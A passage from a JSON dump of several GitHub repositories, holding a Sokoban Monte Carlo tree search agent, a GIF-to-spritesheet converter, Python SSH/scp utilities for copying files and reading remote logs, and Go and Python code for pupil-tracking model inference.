box_loc.all() and goal_loc.all():\n return True\n else:\n return False\n\n\n\ndef get_box_loc(state):\n prev_box = np.where(state == 4)\n prev_box = np.append(prev_box, np.where(state == 3), axis= 1)\n return prev_box\n\ndef get_goals_loc(state):\n prev_goal = np.where(state == 2)\n return prev_goal\n" }, { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7435897588729858, "avg_line_length": 18.5, "blob_id": "c7426d6d77dd3c304c19354558997b42cf2bcc01", "content_id": "0ca7687d031fad8f82f0bb42b444733f387aef91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 78, "license_type": "no_license", "max_line_length": 39, "num_lines": 4, "path": "/test.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "from env.sokoban_env import sokoban_env\n\nenv = sokoban_env(1)\nenv.get_state()\n" }, { "alpha_fraction": 0.6288659572601318, "alphanum_fraction": 0.6288659572601318, "avg_line_length": 31.33333396911621, "blob_id": "4b25097462a4c6352914da00a91e2bf2578b0298", "content_id": "ddd94622d22e198464e72f111c1cef9275959f7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 194, "license_type": "no_license", "max_line_length": 63, "num_lines": 6, "path": "/Agents/state_queue.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "# This class is to store the state and weight for A-star search\n\nclass queue(object):\n def __init__(self,len_state):\n # len_state is the len of the box + worker\n self.data = {}\n" }, { "alpha_fraction": 0.5627163648605347, "alphanum_fraction": 0.5711051821708679, "avg_line_length": 40.03824996948242, "blob_id": "13da9a292ed463a2ced0a06aa1fa45ae5556cc23", "content_id": "f66e5c19a388301c0989200f5592ae26fd3522dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7510, "license_type": "no_license", "max_line_length": 132, "num_lines": 183, "path": "/Agents/MCTS/MainMCTS.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "# Main Monte carlo tree search file\nimport collections, math\nimport gym, time\nimport numpy as np\nimport gym_sokoban, copy, random\nimport time, os, sys\nprint(os.getcwd())\nsys.path.append('/home/prakyath/gitfolder/sokoban/')\nfrom Agents.utils import MinMaxStats\nfrom Agents.MCTS.utils import Match_goal_box\n\n# relative imports\nfrom Agents.cost_functions.cost import MSE\nfrom Agents.trees.MainTree import State, Match_state\nKnownBounds = collections.namedtuple('KnownBounds', ['min', 'max'])\n\nclass MCTS(object):\n def __init__(self):\n env_name = 'Sokoban-v0'\n self.env = gym.make(env_name)\n self.mse = MSE()\n self.env.render(mode = 'human')\n self.env.OBSERVATION_SPACE = 1\n self.env.ACTION_SPACE = 8\n self.ACTION_LOOKUP = self.env.unwrapped.get_action_lookup()\n self.env.reset()\n # expansion counter\n self.expantion = 0\n\n # term to penalize the if the same state is achieved again and again.\n self.cost_append = 0\n\n # action stuck\n self.action_stuck = []\n\n def run(self):\n # Main run function to controll all the MCTS\n # TODO: move left is not working\n parent_state = self.env.get_state()\n parent_state = State(parent_state)\n previous_state = parent_state\n room_state = self.env.room_state\n parent_state.add_roomstate(room_state)\n print(room_state)\n parent_state = self.expand(parent_state, room_state)\n state_list = [parent_state]\n for i in range(100):\n current_state = state_list[-1]\n self.main_mcts(current_state)\n action, child_ = max(current_state.child.items(), key = lambda item: item[1].visit)\n for action_list,child in current_state.child.items():\n print(action_list,child.visit, 'action and child count')\n print(action)\n player_position = np.copy(self.env.player_position)\n self.env.update_room_state(np.copy(room_state))\n print('before')\n print(self.env.room_state)\n observation, reward, done, info = self.env.step(action,player_position,weight_method = 'custom', print_ = True)\n print('after state')\n print(self.env.room_state)\n child_state = self.env.get_state()\n child_state = State(child_state)\n child_state.add_roomstate(np.copy(self.env.room_state))\n room_state = np.copy(self.env.room_state)\n child_state = self.expand(child_state,room_state)\n state_list.append(child_state)\n time.sleep(1)\n print(self.env.get_action_lookup())\n if Match_goal_box(previous_state,child_state):\n current_state.add_reward(-100)\n self.action_stuck = [action]\n rand_action = np.random.randint(1,8)\n print('applying random action',rand_action)\n observation, reward, done, info = self.env.step(rand_action,player_position,weight_method = 'custom', print_ = True)\n print('after state')\n print(self.env.room_state)\n child_state = self.env.get_state()\n child_state = State(child_state)\n child_state.add_roomstate(np.copy(self.env.room_state))\n room_state = np.copy(self.env.room_state)\n child_state = self.expand(child_state,room_state)\n state_list.append(child_state)\n else:\n self.cost_append = 0\n self.env.render()\n previous_state = child_state\n # input('test')\n\n def main_mcts(self, root):\n min_max_bounds = MinMaxStats(None)\n # eenforced exploration\n epsilon = np.random.randint(80, size = 80)\n print(epsilon)\n for i in range(100):\n node = root\n search_path = [node]\n action_history = []\n counter = 0\n while not(node.expanded()):\n if i in epsilon:\n action,node = self.select_child(node, min_max_bounds, explore = True)\n else:\n action, node = self.select_child(node, min_max_bounds)\n search_path.append(node)\n action_history.append(action)\n # if node.expanded() == True:\n # print(node.get_roomstate())\n # print(len(node.child.values()))\n parent = search_path[-2]\n room_state = node.get_roomstate()\n node = self.expand(node, room_state)\n self.backprop(search_path, min_max_bounds)\n\n\n def select_child(self, node, min_max_stats, explore = False):\n if node.visit == 0 or explore == True:\n return random.sample(node.child.items(), 1)[0]\n else:\n t, action, child = \\\n max((self.ucb_score(node, child, min_max_stats), action, child) \\\n for action , child in node.child.items())\n return action , child\n\n def backprop(self, search_path, min_max_stats):\n value = 0\n for node in search_path[::-1]:\n node.sum_reward += value\n min_max_stats.update(node.value())\n value = node.value() + 0.99 * value\n node.add_visit()\n\n def ucb_score(self, parent, child, min_max_stats):\n pb_c = math.log((parent.visit + 19652 + 1) / 19652) + 1.25\n pb_c *= math.sqrt(parent.visit) / (child.visit + 1)\n\n prior_score = pb_c * child.prior\n value_score = min_max_stats.normalize(child.value())\n return prior_score + value_score\n\n def expand_old(self,list_of_actions, state):\n self.expantion += 1\n # do till the there are no possible action or ten children\n while len(list_of_actions) != 0 or self.expantion < 10:\n self.env.room_state = state.room_state\n new_state = State(self.env.get_state())\n new_state.room_state = self.env.room_state\n state.add_child(State(self.env.get_state()))\n list_of_actions.pop(0)\n return state\n\n\n def expand(self, state, raw_state):\n # simulate throught all the 8 actions and select the best one\n parent_state = state\n player_position = self.env.get_player()\n # print('player',player_position.shape)\n save_state = copy.deepcopy(raw_state)\n test_ = copy.deepcopy(save_state)\n list_state = save_state.tolist()\n # print(np.where(test_ == 5))\n possible_actions = [i for i in range(1,9)]\n for i in range(1,9):\n action = i\n # print('action:',i)\n # print('actual player position', np.where(test_ == 5), np.where(save_state == 5),np.where(np.array(list_state) == 5))\n self.env.update_room_state(test_)\n observation, reward, done, info = self.env.step(action,player_position,weight_method = 'custom',\n observation_mode = 'raw')\n child_state = self.env.get_state()\n child_state = State(child_state)\n child_state.add_reward(reward)\n child_state.add_roomstate(np.copy(self.env.room_state))\n # print(player_position)\n parent_state.add_child(child_state, i)\n # self.env.render()\n return state\n\n def _calculate_cost(self, state):\n state = state.room_state.flatten\n\nif \"__main__\" == __name__:\n main_cts = MCTS()\n main_cts.run()\n" }, { "alpha_fraction": 0.78125, "alphanum_fraction": 0.78125, "avg_line_length": 14, "blob_id": "4a3bee9d08eaf749dd5c47029b4f9db3c5f5c696", "content_id": "5b9dfcc42582e5e930304d50efefdeb4adbcc34d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 32, "license_type": "no_license", "max_line_length": 18, "num_lines": 2, "path": "/Agents/test.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "import gym\nimport gym_sokoban\n\n\n" } ]
12
lucas-miranda/SpriteSheet-Extractor
https://github.com/lucas-miranda/SpriteSheet-Extractor
6a79b6e80b4a95b7b09804953ea0d9c203bf2c44
2d5b165ae36579af0ed77efcaedad9fad923b220
ffb0c0f60c3472ddeabccd78f69dd448c7e4c671
refs/heads/master
2015-08-19T14:11:29.853955
2015-01-17T23:03:54
2015-01-17T23:03:54
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.593569278717041, "alphanum_fraction": 0.6183205842971802, "avg_line_length": 33.31745910644531, "blob_id": "09ef50bd1948488189e6cafcbcd58561fa27011d", "content_id": "3b6761b597c9b8b3364bc63fd4129ce6335c367b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4323, "license_type": "permissive", "max_line_length": 219, "num_lines": 126, "path": "/spritesheetencoder.py", "repo_name": "lucas-miranda/SpriteSheet-Extractor", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nfrom PIL import Image\nfrom math import ceil\nimport json\nimport os\n\nclass SpriteSheetEncoder(object):\n\tdef __init__(self, path):\n\t\tself.image = None\n\t\tself.path = path\n\t\tself.frames = 0\n\t\tself.maxFrameRect = { \"x\" : 0, \"y\" : 0, \"x2\" : 0, \"y2\" : 0 }\n\t\tself.spritesCount = { \"width\" : 0, \"height\" : 0 }\n\t\tself.frameSize = { \"width\" : 0, \"height\" : 0 }\n\t\ttry:\n\t\t\tself.image = Image.open(path)\n\t\t\tif self.image.format != \"GIF\":\n\t\t\t\traise ValueError(\"Error: Unexpected image version '\" + self.image.format + \"' (in file '\" + self.path + \"')\")\n\n\t\t\t# counting frames and calculate ideal sprite size (maxFrameRect)\n\t\t\ttransparency = self.image.getpixel((0, 0))\n\t\t\tspriteBox = {}\n\t\t\twhile True:\n\t\t\t\tself.image.seek(self.frames)\n\t\t\t\tspriteBox = { \"x\" : self.image.size[0], \"y\" : self.image.size[1], \"x2\" : -1, \"y2\" : -1 }\n\t\t\t\tpixelPos = (0, 0)\n\t\t\t\twhile True:\n\t\t\t\t\tif self.image.getpixel(pixelPos) != transparency:\n\t\t\t\t\t\tif (pixelPos[0] < spriteBox[\"x\"]):\n\t\t\t\t\t\t\tspriteBox[\"x\"] = pixelPos[0]\n\t\t\t\t\t\telif (pixelPos[0] > spriteBox[\"x2\"]):\n\t\t\t\t\t\t\tspriteBox[\"x2\"] = pixelPos[0]\n\n\t\t\t\t\t\tif (pixelPos[1] < spriteBox[\"y\"]):\n\t\t\t\t\t\t\tspriteBox[\"y\"] = pixelPos[1]\n\t\t\t\t\t\telif (pixelPos[1] > spriteBox[\"y2\"]):\n\t\t\t\t\t\t\tspriteBox[\"y2\"] = pixelPos[1]\n\n\t\t\t\t\tif (pixelPos[0] + 1 == self.image.size[0]):\n\t\t\t\t\t\tif (pixelPos[1] + 1 < self.image.size[1]):\n\t\t\t\t\t\t\tpixelPos = (0, pixelPos[1] + 1)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tpixelPos = (pixelPos[0] + 1, pixelPos[1])\n\n\t\t\t\tif self.maxFrameRect[\"x\"] == 0 and self.maxFrameRect[\"y\"] == 0 and self.maxFrameRect[\"x2\"] == 0 and self.maxFrameRect[\"y2\"] == 0:\n\t\t\t\t\tself.maxFrameRect = spriteBox\n\t\t\t\telse:\n\t\t\t\t\tif spriteBox[\"x\"] < self.maxFrameRect[\"x\"]:\n\t\t\t\t\t\tself.maxFrameRect[\"x\"] = spriteBox[\"x\"]\n\n\t\t\t\t\tif spriteBox[\"x2\"] > self.maxFrameRect[\"x2\"]:\n\t\t\t\t\t\tself.maxFrameRect[\"x2\"] = spriteBox[\"x2\"]\n\n\t\t\t\t\tif spriteBox[\"y\"] < self.maxFrameRect[\"y\"]:\n\t\t\t\t\t\tself.maxFrameRect[\"y\"] = spriteBox[\"y\"]\n\n\t\t\t\t\tif spriteBox[\"y2\"] > self.maxFrameRect[\"y2\"]:\n\t\t\t\t\t\tself.maxFrameRect[\"y2\"] = spriteBox[\"y2\"]\n\n\t\t\t\tself.frames += 1\n\n\t\texcept IOError:\n\t\t\tprint(\"Error: Can't load '\" + path + \"'\")\n\n\t\texcept ValueError as e:\n\t\t\tprint(*e.args)\n\t\t\tself.image = None\n\n\t\texcept EOFError:\n\t\t\tself.image.seek(0)\n\t\t\tself.spritesCount = { \"width\" : self.frames, \"height\" : 1 }\n\t\t\tself.frameSize = { \"width\" : self.maxFrameRect[\"x2\"] - self.maxFrameRect[\"x\"], \"height\" : self.maxFrameRect[\"y2\"] - self.maxFrameRect[\"y\"]}\n\n\tdef encode(self, spritesCount = (0, 0)):\n\t\tspritesCount = { \"width\" : spritesCount[0], \"height\" : spritesCount[1] } if (spritesCount[0] > 0 and spritesCount[1] > 0) else self.spritesCount\n\t\ttry:\n\t\t\tspriteSheet = Image.new(\"RGBA\", (self.frameSize[\"width\"] * spritesCount[\"width\"], self.frameSize[\"height\"] * spritesCount[\"height\"]))\n\t\t\tframeid = 0\n\t\t\tframePos = (0, 0)\n\t\t\twhile frameid < self.frames:\n\t\t\t\tself.image.seek(frameid)\n\t\t\t\tspriteSheet.paste(self.image.crop((self.maxFrameRect[\"x\"], self.maxFrameRect[\"y\"], self.maxFrameRect[\"x2\"], self.maxFrameRect[\"y2\"])), (framePos[0] * self.frameSize[\"width\"], framePos[1] * self.frameSize[\"height\"]))\n\n\t\t\t\tif (framePos[0] + 1 < spritesCount[\"width\"]):\n\t\t\t\t\tframePos = (framePos[0] + 1, framePos[1])\n\t\t\t\telif (framePos[1] < spritesCount[\"height\"]):\n\t\t\t\t\tframePos = (0, framePos[1] + 1)\n\n\t\t\t\tframeid += 1\n\n\t\t\tspriteSheet.save(self.path[0:-4] + \".png\")\n\n\t\texcept EOFError:\n\t\t\tpass\n\n\tdef generateInfoJSON(self):\n\t\tdurations = []\n\t\tframeid = 0\n\t\twhile frameid < self.frames:\n\t\t\tself.image.seek(frameid)\n\t\t\tdurations.append(self.image.info[\"duration\"] / 1000)\n\t\t\tframeid += 1\n\n\t\tspriteSheetInfo = { \"frameWidth\" : self.image.size[0], \"frameHeight\" : self.image.size[1], \"durations\" : durations, \"loop\" : (self.image.info[\"loop\"] == 1) }\n\n\t\tinfos = {}\n\t\tif os.access(\"spritesheetsInfo.json\", os.R_OK):\n\t\t\twith open(\"spritesheetsInfo.json\", \"r\") as rfile:\n\t\t\t\tcontents = rfile.read()\n\t\t\t\tif len(contents) > 0:\n\t\t\t\t\tinfos = json.JSONDecoder().decode(contents)\n\t\t\t\t\tinfos[self.path[0:-4] + \".png\"] = spriteSheetInfo\n\t\t\t\n\t\tif (len(infos) == 0):\n\t\t\tinfos = { self.path[0:-4] + \".png\" : spriteSheetInfo }\n\n\t\twith open(\"spritesheetsInfo.json\", \"w\") as wfile:\n\t\t\twfile.write(json.dumps(infos, wfile, indent = 4))\n\n\tdef loaded(self):\n\t\treturn not self.image is None\n\n\tdef getImageInfo(self, key):\n\t\treturn self.image.info[key] if self.loaded() else None" }, { "alpha_fraction": 0.6655629277229309, "alphanum_fraction": 0.6672185659408569, "avg_line_length": 24.20833396911621, "blob_id": "fc43ede18ab61a46ee1e08241b50fd403007ffa1", "content_id": "1195c11a714a9b2d4d57968d22f98894380af6c6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 604, "license_type": "permissive", "max_line_length": 56, "num_lines": 24, "path": "/main.py", "repo_name": "lucas-miranda/SpriteSheet-Extractor", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# Author: Lucas Miranda - [email protected]\nimport os\nfrom spritesheetencoder import SpriteSheetEncoder\n\ndef main():\n\tfor filename in os.listdir(os.getcwd()):\n\t\tif (filename[-3:] != \"gif\"):\n\t\t\tcontinue\n\n\t\tspriteSheetEncoder = SpriteSheetEncoder(filename)\n\t\tif (spriteSheetEncoder.loaded()):\n\t\t\tprint(\"Decoding '\" + filename + \"'...\")\n\t\t\tspriteSheetEncoder.encode()\n\t\t\tspriteSheetEncoder.generateInfoJSON()\n\t\t\tprint(\"'\" + filename + \"' successful converted!\")\n\t\telse:\n\t\t\tprint(\"Error: \" + filename + \" not correctly loaded\")\n\n\tinput(\"Press enter to continue...\")\n\n\nif __name__ == \"__main__\": \n\tmain()" }, { "alpha_fraction": 0.7417417168617249, "alphanum_fraction": 0.759759783744812, "avg_line_length": 29.363636016845703, "blob_id": "eaa5836bd1eb21c60f2daf4ec1e189c91ff0baa5", "content_id": "8940dcd1ac95f9aefcfb415bcbf78920e8aa1cb2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 333, "license_type": "permissive", "max_line_length": 125, "num_lines": 11, "path": "/README.md", "repo_name": "lucas-miranda/SpriteSheet-Extractor", "src_encoding": "UTF-8", "text": "# SpriteSheet Extractor\nConvert GIF to SpriteSheet style PNG file and generate a JSON with animation infos (frames duration, animation size, looping)\n\n# Requeriments\n- Pillow 2.7 - https://pillow.readthedocs.org/\n- Python 3\n\n# Usage\n1. Put .gif files in the same folder of main.py\n2. Run main.py\n3. A PNG and a JSON should be created" } ]
3
meswapnilwagh/remote-tools
https://github.com/meswapnilwagh/remote-tools
7fdbc9af889d02c57885641fe08278f5226b6635
d9cb7e49c78eb466855a79ecf3ea5a6769a49172
dc268ef3fd7a8f7d389f1c03e2aecacb4a1162f8
refs/heads/master
2021-01-12T12:35:47.356852
2010-05-05T01:54:52
2010-05-05T01:54:52
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5463743805885315, "alphanum_fraction": 0.5570545196533203, "avg_line_length": 33.21154022216797, "blob_id": "7ee25100791cea1bfb38721279fc3e2618ed2abf", "content_id": "86d931824d2fa337808e52654313a71f6d0beaad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1779, "license_type": "no_license", "max_line_length": 94, "num_lines": 52, "path": "/scp_r2r.py", "repo_name": "meswapnilwagh/remote-tools", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n\"\"\"Use scp to copy files bewteen two remote hosts directly.\nCopies the ssh key needed to get from host1 to host2.\nRequires ~/.ssh/config file\n\"\"\"\n\nimport os\nfrom optparse import OptionParser\nfrom paramiko import SSHConfig\n\ndef main():\n USAGE = \"usage: %prog [options] host1:path1 host2:path2\"\n parser = OptionParser(usage=USAGE)\n parser.add_option(\"-F\", \"--config-file\",\n action=\"store\",\n dest=\"config_file\",\n default=\"%s/.ssh/config\" % os.environ['HOME'],\n help=\"SSH config file (default: ~/.ssh/config)\",)\n parser.add_option(\"--scp-options\",\n action=\"store\",\n dest=\"scp_options\",\n default=\"\",\n help=\"string of options (in quotes) passed directy to the scp command\",)\n (options, args) = parser.parse_args()\n host1, path1 = args[0].split(':', 1)\n host2, path2 = args[1].split(':', 1)\n\n # ssh config file\n config = SSHConfig()\n config.parse(open(options.config_file))\n o = config.lookup(host2)\n\n # copy keyfile\n keyfile_remote = '/tmp/%s' % os.path.basename(o['identityfile'])\n run('scp %s %s:%s' % (o['identityfile'], host1, keyfile_remote))\n\n # copy actual file\n ssh_options = ' -o'.join(['='.join([k, v]) for k, v in o.iteritems()\n if k != 'hostname' and k != 'identityfile'])\n if ssh_options:\n ssh_options = '-o' + ssh_options\n run('ssh %s scp %s -i %s -oStrictHostKeyChecking=no %s %s %s:%s' % (\n host1, options.scp_options, keyfile_remote, ssh_options, path1,\n o['hostname'], path2))\n\ndef run(cmd):\n print cmd\n os.system(cmd)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5716145634651184, "alphanum_fraction": 0.5737847089767456, "avg_line_length": 31.91428565979004, "blob_id": "4dcc2144d03f9091933507ce6497be17c719af62", "content_id": "478b2b2346c312469696780c316029fc24ac6412", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2304, "license_type": "no_license", "max_line_length": 86, "num_lines": 70, "path": "/multilog.py", "repo_name": "meswapnilwagh/remote-tools", "src_encoding": "UTF-8", "text": "\"\"\"Assumes SSH config file at ~/.ssh/config\n\"\"\"\n\nimport fnmatch\nimport gzip\nimport os\nimport re\nimport sys\nfrom paramiko import SSHClient, SSHConfig\n\ndef rml_cat(host, glob, skip_files=0):\n rml = RemoteMultiLog()\n rml.connect(host)\n lines = rml.get_lines(glob, skip_files)\n for line in lines:\n print line.rstrip()\n rml.close()\n\nclass RemoteMultiLog(object):\n def connect(self, host):\n # ssh config file\n config = SSHConfig()\n config.parse(open('%s/.ssh/config' % os.environ['HOME']))\n o = config.lookup(host)\n\n # ssh client\n self.ssh_client = ssh = SSHClient()\n ssh.load_system_host_keys()\n ssh.connect(o['hostname'], username=o['user'], key_filename=o['identityfile'])\n self.sftp_client = ssh.open_sftp()\n\n def get_lines(self, glob, skip_files=0):\n \"\"\"wildcards only allowed in filename (not path)\n \"\"\"\n (dirname, filepattern) = os.path.split(glob)\n filelist = self.sftp_client.listdir(dirname)\n filelist = fnmatch.filter(filelist, filepattern)\n filelist = [os.path.join(dirname, filename) for filename in filelist]\n filelist = sorted(filelist, self.sort_by_integer_suffix)\n\n for filepath in filelist[skip_files:]:\n sys.stderr.write(\"Processing %s...\\n\" % filepath)\n sftp_file = self.sftp_client.open(filepath)\n if filepath.endswith('.gz'):\n fh = gzip.GzipFile(fileobj=sftp_file)\n else:\n fh = sftp_file\n for line in fh:\n yield line\n sftp_file.close()\n\n def close(self):\n self.sftp_client.close()\n self.ssh_client.close()\n\n def sort_by_integer_suffix(self, a, b):\n \"\"\"Files are sorted by the integer in the suffix of the log filename.\n Suffix may be one of the following:\n .X (where X is an integer)\n .X.gz (where X is an integer)\n If the filename does not end in either suffix, it is treated as if X=0\n \"\"\"\n def get_suffix(fname):\n m = re.search(r'.(?:\\.(\\d+))?(?:\\.gz)?$', fname)\n if m.lastindex:\n suf = int(m.group(1))\n else:\n suf = 0\n return suf\n return get_suffix(b) - get_suffix(a)\n" }, { "alpha_fraction": 0.5415430068969727, "alphanum_fraction": 0.5474777221679688, "avg_line_length": 27.08333396911621, "blob_id": "a08ce81fcc734f4b4d319f719ce03362c8397781", "content_id": "8f1d07222485936439c6ebd1ff506c5a35dab775", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 674, "license_type": "no_license", "max_line_length": 67, "num_lines": 24, "path": "/rml_cat.py", "repo_name": "meswapnilwagh/remote-tools", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n\"\"\"Print lines for all files matching glob pattern on a remote host\n\"\"\"\n\nfrom optparse import OptionParser\nfrom multilog import rml_cat\n\ndef main():\n USAGE = \"usage: %prog [options] host:glob\"\n parser = OptionParser(usage=USAGE)\n parser.add_option(\"--skip-files\",\n action=\"store\",\n dest=\"skip_files\",\n type=\"int\",\n default=0,\n help=\"number of files to skip (default=0)\",)\n (options, args) = parser.parse_args()\n host, glob = args[0].split(':', 1)\n\n rml_cat(host, glob, options.skip_files)\n\nif __name__ == '__main__':\n main()\n" } ]
3
AdityaR-Bits/Pupil-tracking-inference-in-golang
https://github.com/AdityaR-Bits/Pupil-tracking-inference-in-golang
6b7d6cdb438410b0f2ad2e717058b441dce7fbb8
4ea77f07b560dade4be8495951aaafc42ee1db09
b51685e03cff0c4a956636fd3d917c613633f6ed
refs/heads/master
2022-11-15T16:53:21.265814
2020-07-09T06:35:59
2020-07-09T06:35:59
274,969,987
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5712037682533264, "alphanum_fraction": 0.6022816896438599, "avg_line_length": 24.93877601623535, "blob_id": "f97936b73b01308f118df072e9850f442accde7f", "content_id": "21894fbe53468150a18cf866fefacb788d3d380f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Go", "length_bytes": 2542, "license_type": "no_license", "max_line_length": 96, "num_lines": 98, "path": "/tfinference2.go", "repo_name": "AdityaR-Bits/Pupil-tracking-inference-in-golang", "src_encoding": "UTF-8", "text": "package main\n\nimport (\n\t\"fmt\"\n\t\"image\"\n\t_ \"image/png\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\n\ttf \"github.com/tensorflow/tensorflow/tensorflow/go\"\n)\n\nfunc main() {\n\n\t// Load a frozen graph to use for queries\n\tmodelpath := \"pupil_tf.pb\"\n\tmodel, err := ioutil.ReadFile(modelpath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Construct an in-memory graph from the serialized form.\n\tgraph := tf.NewGraph()\n\tif err := graph.Import(model, \"\"); err != nil {\n\t\t//if err := graph.ImportWithOptions(model, GraphImportOptions{\"\", \"CPU\"}); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Create a session for inference over graph.\n\tsession, err := tf.NewSession(graph, nil)\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer session.Close()\n\ttensor2, _ := makeTensorFromImage(\"pictu.png\")\n\t//fmt.Println(tensor2)\n\t//fmt.Println(tensor2.Value())\n\tfmt.Println(\"we are good\")\n\n\tfinal, err := session.Run(\n\t\tmap[tf.Output]*tf.Tensor{\n\t\t\tgraph.Operation(\"input\").Output(0): tensor2,\n\t\t},\n\t\t[]tf.Output{\n\t\t\tgraph.Operation(\"output\").Output(0),\n\t\t},\n\t\tnil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\tfmt.Println(\"failed here\")\n\t}\n\tfmt.Printf(\"Result value: %v \\n\", final[0].Value().([][]float32)[0])\n\n}\n\nfunc makeTensorFromImage(filename string) (*tf.Tensor, error) {\n\tconst (\n\t\t// - The model was trained after with images scaled to 224x224 pixels.\n\t\t// - The colors, represented as R, G, B in 1-byte each were converted to\n\t\t// float using (value - Mean)/Std.\n\t\t// If using a different pre-trained model, the values will have to be adjusted.\n\t\tH, W = 224, 224\n\t\tMean = 0\n\t\tStd = float32(255)\n\t)\n\tfile, err := os.Open(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\timg, _, err := image.Decode(file)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// 4-dimensional input:\n\t// - 1st dimension: Batch size (the model takes a batch of images as\n\t// input, here the \"batch size\" is 1)\n\t// - 2nd dimension: Rows of the image\n\t// - 3rd dimension: Columns of the row\n\t// - 4th dimension: Colors of the pixel as (R, G, B)\n\t// Thus, the shape is [1, 3, 224, 224]\n\tvar ret [1][3][H][W]float32\n\tfor y := 0; y < H; y++ {\n\t\tfor x := 0; x < W; x++ {\n\t\t\tpx := x + img.Bounds().Min.X\n\t\t\tpy := y + img.Bounds().Min.Y\n\t\t\tr, g, b, _ := img.At(px, py).RGBA()\n\t\t\tret[0][0][y][x] = float32((int(r>>8) - Mean)) / Std //float32((int(r>>8) - int(r>>8)) + 2) //\n\t\t\tret[0][1][y][x] = float32((int(g>>8) - Mean)) / Std //float32(int(g>>8) - int(g>>8) + 1) //\n\t\t\tret[0][2][y][x] = float32((int(b>>8) - Mean)) / Std //float32(int(b>>8) - int(b>>8) + 1) //\n\n\t\t}\n\t}\n\treturn tf.NewTensor(ret)\n}\n" }, { "alpha_fraction": 0.7636363506317139, "alphanum_fraction": 0.7898989915847778, "avg_line_length": 43.90909194946289, "blob_id": "8460c445005e3f4ea0844587271372346a735866", "content_id": "5848effe40c7a466c5a80b541f69d447abd31413", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 495, "license_type": "no_license", "max_line_length": 117, "num_lines": 11, "path": "/README.md", "repo_name": "AdityaR-Bits/Pupil-tracking-inference-in-golang", "src_encoding": "UTF-8", "text": "# Pupil-tracking-inference-in-golang\n\nPyTorch_to_onnx.py : Convert from PyTorch checkpoints to ONNX file\n\nONNX_to_pb_conversion.py : Convert from ONNX to .pb tensorflow file\n\nTF_readgraph_inference : Use .pb file to make prediction based on any image input\n\ntfinference.go : Converts .pb file to graph and performs inference on any jpg or png image while resizing to 224x224\n\ntfinference2.go : Converts .pb file to graph and performs inference on any jpg or png image while cropping to 224x224\n\n" }, { "alpha_fraction": 0.6145276427268982, "alphanum_fraction": 0.6310160160064697, "avg_line_length": 37.403507232666016, "blob_id": "02846078fae2b3c5ab0c3f2fb7b84849183d135c", "content_id": "14d17773a3cfd2b0255f70d065ddc924d02823bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2244, "license_type": "no_license", "max_line_length": 155, "num_lines": 57, "path": "/PyTorch_to_onnx.py", "repo_name": "AdityaR-Bits/Pupil-tracking-inference-in-golang", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 25 22:42:44 2020\r\n\r\n@author: Aditya\r\n\"\"\"\r\n\r\n#RUN ON COLAB\r\n\r\nimport torch\r\ncheckpoint = \"/content/drive/My Drive/Colab Notebooks/Rootee/final5_checkpoint_pupil_detector_score.pth.tar\"\r\ncheckpoint = torch.load(checkpoint)\r\nmodel = checkpoint['model']\r\nmodel = model.to(device)\r\n\r\nx = torch.randn(1, 3, 224, 224, requires_grad=True).to(device)\r\ntorch_out = model(x)\r\n\r\n# Export the model\r\ntorch.onnx.export(model, # model being run\r\n x, # model input (or a tuple for multiple inputs)\r\n \"/content/drive/My Drive/Colab Notebooks/Rootee/iris3_pupil_detector.onnx\", # where to save the model (can be a file or file-like object)\r\n export_params=True, # store the trained parameter weights inside the model file\r\n #opset_version=10, # the ONNX version to export the model to\r\n #do_constant_folding=True, # whether to execute constant folding for optimization\r\n input_names = ['input'], # the model's input names\r\n output_names = ['output']) # the model's output names\r\n #dynamic_axes={'input' : {0 : 'batch_size'}, # variable lenght axes\r\n #'output' : {0 : 'batch_size'}})\r\n \r\ntry:\r\n import onnx\r\n \r\nexcept:\r\n !pip install onnx\r\n import onnx\r\nonnx_model = onnx.load(\"/content/drive/My Drive/Colab Notebooks/Rootee/iris3_pupil_detector.onnx\")\r\n\r\ntry:\r\n import onnxruntime\r\nexcept:\r\n !pip install onnxruntime\r\n import 